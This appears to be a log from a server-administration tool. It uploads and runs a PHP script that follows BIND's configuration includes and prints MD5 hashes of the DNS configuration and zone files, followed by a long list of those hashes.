MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= c980bdf14805f6ec8205412031ee5848
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-05-15 17:52:52: Establishing a connection
2026-05-15 17:52:52: 

PUT: /tmp/pkp991577

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-05-15 17:52:53: 

runuser -l bind -s /bin/bash -c '/tmp/pkp991577; rm /tmp/pkp991577'

2026-05-15 17:52:53: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= db0633477b3a98066efe74cd0403f07a
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= e29c21b46b5393be06f75c34de3e6440
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= f40f6a600e6f86861c8cb4d0f14eea17
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= eebe5ece7f3ba31853415b418c8cf9e1
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= c980bdf14805f6ec8205412031ee5848
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-05-15 17:52:57: Establishing a connection
2026-05-15 17:52:57: 

PUT: /tmp/pkp320474

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-05-15 17:52:57: 

runuser -l bind -s /bin/bash -c '/tmp/pkp320474; rm /tmp/pkp320474'

2026-05-15 17:52:57: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= db0633477b3a98066efe74cd0403f07a
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
